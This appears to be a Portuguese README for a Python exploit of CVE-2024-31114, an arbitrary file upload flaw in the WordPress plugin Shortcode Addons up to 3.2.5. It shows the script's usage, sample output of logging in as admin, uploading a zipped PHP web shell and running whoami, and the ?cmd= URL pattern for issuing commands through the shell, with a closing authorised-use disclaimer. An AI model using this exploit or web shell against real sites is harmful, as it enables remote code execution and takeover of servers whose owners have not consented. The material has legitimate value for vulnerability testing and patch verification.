
Shortcode Addons <= 3.2.5 - Autenticado (Admin+) Upload Arbitrário de Arquivos
Shortcode Addons <= 3.2.5 – Upload Arbitrário de Arquivo Autenticado (Admin+)
ID do CVE: CVE-2024-31114
Pontuação CVSS: 9.1 (Crítico)
O plugin Shortcode Addons – with Visual Composer, Divi, Beaver Builder, and Elementor Extension para WordPress é vulnerável a uploads arbitrários de arquivos devido à falta de validação de tipo de arquivo em todas as versões até e incluindo a 3.2.5.
Essa falha permite que atacantes autenticados com acesso de nível administrador ou superior enviem arquivos arbitrários para o servidor — o que pode levar à Execução Remota de Código (RCE).
Este script em Python automatiza a exploração da vulnerabilidade. Ele realiza:
_wpnonce)nxploit.php).zipwhoami no servidor alvousage: CVE-2024-31114.py [-h] -u URL -un USERNAME -p PASSWORD
Shortcode Addons <= 3.2.5 - Authenticated (Admin+) Arbitrary File Upload
By: Nxploited | Khaled Alenazi
options:
-h, --help Show this help message and exit
-u, --url URL Target URL (e.g. http://target.com)
-un, --username USERNAME WordPress Admin Username
-p, --password PASSWORD WordPress Admin Password
[+] Authentication successful.
[+] _wpnonce extracted: 9d8dbbc630
[+] Payload nxploit.zip created.
[+] Payload uploaded.
[+] Shell is accessible at: http://target/wp-content/uploads/shortcode-addons/nxploit.php
[+] Command output:
------------------
www-data
------------------
[+] Temporary files removed.
Uma vez que o payload é enviado, você pode executar comandos do sistema usando o seguinte formato:
http://target/wp-content/uploads/shortcode-addons/nxploit.php?cmd=command
🔹 Exemplo:
http://target/wp-content/uploads/shortcode-addons/nxploit.php?cmd=ls
Isso listará o conteúdo do diretório atual no servidor.
Esta ferramenta é apenas para fins educacionais e de teste autorizado.
O autor não se responsabiliza por qualquer uso indevido ou dano causado por este script.
Use com responsabilidade e apenas em sistemas para os quais você tenha permissão explícita para testar.
Por: Nxploited | Khaled Alenazi